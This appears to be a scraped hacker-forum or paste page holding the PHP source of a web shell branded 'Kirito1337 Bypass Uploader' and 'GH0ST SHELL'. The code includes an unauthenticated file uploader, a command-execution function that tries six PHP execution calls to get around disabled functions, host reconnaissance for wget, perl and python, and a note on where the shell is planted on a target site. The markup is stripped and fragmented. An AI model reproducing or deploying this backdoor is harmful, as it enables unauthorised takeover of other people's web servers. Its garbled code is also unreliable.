Kirito1337#Uploader

Kirito1337 Bypass Uploader [PRiV8]

Kirito1337


'.php_uname().'
'; echo '
'; echo '
'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Uploaded Successfully :p

'; } else { echo 'Upload Failed! >:(

'; } } ?>

OR(GET):

'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Uploaded Successfully :p

'; } else { echo 'Upload Failed! >:(

'; } } ?>

Code By: Kirito1337 / SpyHackerZ.Com # ImHatimi.Org

".$perm.""; } else { return "".$perm.""; } } function r($dir,$perm) { if(!is_readable($dir)) { return "".$perm.""; } else { return "".$perm.""; } } function exe($cmd){ $xazx = ""; $cmd = $cmd." 2>&1"; if(is_callable('system')) { ob_start(); @system($cmd); $xazx = ob_get_contents(); ob_end_clean(); if(!empty($xazx)) return $xazx; } if(is_callable('shell_exec')){ $xazx = @shell_exec($cmd); if(!empty($xazx)) return $xazx; } if(is_callable('exec')) { @exec($cmd,$azxr); if(!empty($azxr)) foreach($azxr as $azxs) $xazx .= $azxs; if(!empty($xazx)) return $xazx; } if(is_callable('passthru')) { ob_start(); @passthru($cmd); $xazx = ob_get_contents(); ob_end_clean(); if(!empty($xazx)) return $xazx; } if(is_callable('proc_open')) { $azxdescriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $azxproc = @proc_open($cmd, $azxdescriptorspec, $azxpipes, getcwd(), array()); if (is_resource($azxproc)) { while ($azxsi = fgets($azxpipes[1])) { if(!empty($azxsi)) $xazx .= $azxsi; } while ($azxse = fgets($azxpipes[2])) { if(!empty($azxse)) $xazx .= $azxse; } } @proc_close($azxproc); if(!empty($xazx)) return $xazx; } if(is_callable('popen')){ $azxf = @popen($cmd, 'r'); if($azxf){ while(!feof($azxf)){ $xazx .= fread($azxf, 2096); } pclose($azxf); } if(!empty($xazx)) return $xazx; } return ""; } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function hdd($s) { if($s >= 1073741824) return sprintf('%1.2f',$s / 1073741824 ).' GB'; elseif($s >= 1048576) return sprintf('%1.2f',$s / 1048576 ) .' MB'; elseif($s >= 1024) return sprintf('%1.2f',$s / 1024 ) .' KB'; else return $s .' B'; } function ambilKata($param, $kata1, $kata2){ if(strpos($param, $kata1) === FALSE) return FALSE; if(strpos($param, $kata2) === FALSE) return FALSE; $start = strpos($param, $kata1) + strlen($kata1); $end = strpos($param, $kata2, $start); $return = substr($param, $start, $end - $start); return $return; } function getsource($url) { $curl = curl_init($url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); $content = curl_exec($curl); curl_close($curl); return $content; } if(get_magic_quotes_gpc()) { function azzatssinsx($array) { return is_array($array) ? array_map('azzatssinsx', $array) : stripslashes($array); } $_POST = azzatssinsx($_POST); $_COOKIE = azzatssinsx($_COOKIE); } if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $ip = gethostbyname($_SERVER['HTTP_HOST']); $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); $ds = @ini_get("disable_functions"); $mysql = (function_exists('mysql_connect')) ? "ON" : "OFF"; $curl = (function_exists('curl_version')) ? "ON" : "OFF"; $wget = (exe('wget --help')) ? "ON" : "OFF"; $perl = (exe('perl --help')) ? "ON" : "OFF"; $python = (exe('python --help')) ? "ON" : "OFF"; $show_ds = (!empty($ds)) ? "$ds" : "NONE"; if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } ?>

GH0ST SHELL DiR: SiTE.COM/up.php(UP.PHP DiR)/shell/GH0ST